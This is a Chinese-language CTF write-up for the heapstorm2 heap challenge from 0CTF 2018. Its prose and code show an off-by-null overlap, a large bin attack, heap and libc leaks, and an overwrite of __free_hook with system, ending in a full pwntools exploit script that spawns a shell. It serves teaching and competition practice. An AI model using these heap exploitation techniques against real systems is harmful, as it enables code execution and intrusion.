0%

0ctf_2018_heapstorm2

buuoj刷pwn题之0ctf_2018_heapstorm2

参考文章:
https://bbs.pediy.com/thread-225973.htm

当然是保护全开啦
upload successful

关闭了fastbin
upload successful

有add,edit,delete,show

malloc的指针都和随机数异或后存储
upload successful
upload successful

莫得fastbin,要large bin attack

edit功能有off by null的缺陷
upload successful

可以利用这个off by null来制造overlap chunk

通过edit,伪造接下来要用上的pre_size

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2

# 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
edit(1, 'h' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)


add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4, 'h' * 0x4f0 + p64(0x500))
add(0x18) # 6

情况如下
upload successful
upload successful

将chunk1给free掉,然后修改chunk0,off by null将chunk1的size改掉

1
2
free(1) # chunk2 pre_size=0x510, inuse=0
edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500

可以看到,chunk1的size最低字节改成了\x00,从原来的0x510变成了0x500
upload successful

同时,chunk2的inused位变成了0,因为他的前一个chunk(chunk1)已经free了
upload successful

此时再malloc,会从之前的释放的chunk1从分配,因为size已经修改成了0x500,那么下一个chunk的位置就是chunk1+0x500,这个位置是之前构造的pre_size,也是0x500,所以通过检查,可以malloc

1
2
add(0x18) # 1
add(0x4d8) # 7

upload successful

此时再释放1和2,要注意2的inused是0,那么chunk1和chunk2会合并入unsorted bin

1
2
3
# chunk1+chunk2合并,node7指向chunk1+0x20+0x10
free(1)
free(2)

而此时的7还可以控制chunk1与chunk2合并后的区域

upload successful

upload successful

然后把这块chunk,再malloc出来

1
2
add(0x38) # 1
add(0x4e8) # 2

1和7就重叠了
upload successful

重复一遍操作

1
2
3
4
5
6
7
free(4)
edit(3, 'h' * (0x18 - 12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4

4和8也重叠了
upload successful

此时unsorted bin里面还有之前free的4的一部分块(add(0x48)后切割剩下的)
upload successful

此时将2释放,再分配,0x5555557575c0就被安排到large bin里

1
2
free(2)
add(0x4e8)

upload successful

然后再释放2,这样就把2放到unsorted bin里了

1
free(2)

upload successful

通过之前的7可以修改free掉的2,改掉bk

1
2
3
pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)

upload successful

再一波伪造

1
2
3
4
5
6
7
8
9
10
11
12
# modify fake chunk size
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)

pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
pay += p64(0) + p64(fake_chunk + 8) # bk
pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
edit(8, pay)

upload successful

这里参考了文章,再malloc一下,将会出现unsorted bin中的chunk,扔进large bin的操作(有个检查)

1
2
3
4
5
6
7
try:
add(0x48) # 2
ru('1.')
except EOFError:
continue

break

copy一下关键源码

1
2
3
4
5
6
7
8
9
10
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

这里的vicitim是unsorted bin中的chunk,是上图中的,0xxx060,而fwd是large bin中的chunk,为0xxx5c0

这里victim->bk_nextsize=fwd->bk_nextsize使得victim->bk_nextsize=0x133707c3(0x133707c3就是前面的fake_chunk-0x18-5)

然后victim->bk_nextsize->fd_nextsize=victim,就是*(0x133707c3+0x20)=*(0x133707e3)=0xxxx060

这样就修改成功了(开了ASLR后,就有可能是0x56xxxx060了)
upload successful

然后开头的这个0x56就在fake_chunk的size字段
upload successful

这个size要为0x56是要,满足一个检查,要开启chunk的mmap标志位置位。

1
2
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

IS_MAPPED位在第二位:
upload successful

参考ctfwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/
upload successful

fake_chunk搞到了,就可以修改开头的随机数,来使用view了
upload successful

先让node0指向heap位置先,方便后面修改

1
2
3
pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331)  # view
pay += p64(storage) # node0: ptr
edit(2, pay)

upload successful

之后就是leak出堆

1
2
3
4
5
6
7
pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay)

heap = u64(show(1))
leak('heap', heap)

这个chunk(0xxxx060),的fd字段就是main_arena
upload successful

可leak出main_arena来计算libc的基地址

1
2
3
4
5
6
7
pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)

lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)

之后就改free_hook成system,然后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)

pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)

edit(1, p64(system))
free(2)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#coding=utf8
#!/usr/bin/python2

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './0ctf_2018_heapstorm2'
ctx.remote = ('0.0.0.0', 0)
ctx.remote_libc = '../../libc/libc-2.23.so'
ctx.debug_remote_libc = True


def add(size):
sla('Command: ', '1')
sla('Size: ', str(size))


def edit(index, content):
sla('Command: ', '2')
sla('Index: ', str(index))
sla('Size: ', str(len(content)))
sa('Content: ', content)


def free(index):
sla('Command: ', '3')
sla('Index: ', str(index))


def show(index):
sla('Command: ', '4')
sla('Index: ', str(index))
ru(']: ')
return r(8)

while True:

rs()
# rs('remote')
# print(ctx.libc.path)


add(0x18) # 0
add(0x508) # 1
add(0x18) # 2

# 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
edit(1, 'a' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)


add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4, 'a' * 0x4f0 + p64(0x500))
add(0x18) # 6

free(1) # chunk2 pre_size=0x510, inuse=0
edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500

# 一共0x500
add(0x18) # 1
add(0x4d8) # 7

# chunk1+chunk2合并,node7指向chunk1+0x20+0x10
free(1)
free(2)

add(0x38) # 1
add(0x4e8) # 2

# 4和8重叠
free(4)
edit(3, 'h' * (0x18 - 12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4


free(2)
add(0x4e8) # 2
free(2)

# modify fake chunk size
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)

pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
pay += p64(0) + p64(fake_chunk + 8) # bk
pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
edit(8, pay)

#break
try:
add(0x48) # 2
ru('1.')
except EOFError:
continue

break


pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331) # view
pay += p64(storage) # node0: ptr
edit(2, pay)


# leak heap
# node1 ptr = 0x133707e3, *ptr=0xxxxx060 这是之前构造0x56size字段时弄的堆地址,可以leak出堆
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay)

heap = u64(show(1))
leak('heap', heap)

# leak libc
# 根据这个堆地址,可以leak出main_arena
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)

lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)

# modify __free_hook
__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)

pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)

edit(1, p64(system))
free(2)

#dbg()


irt()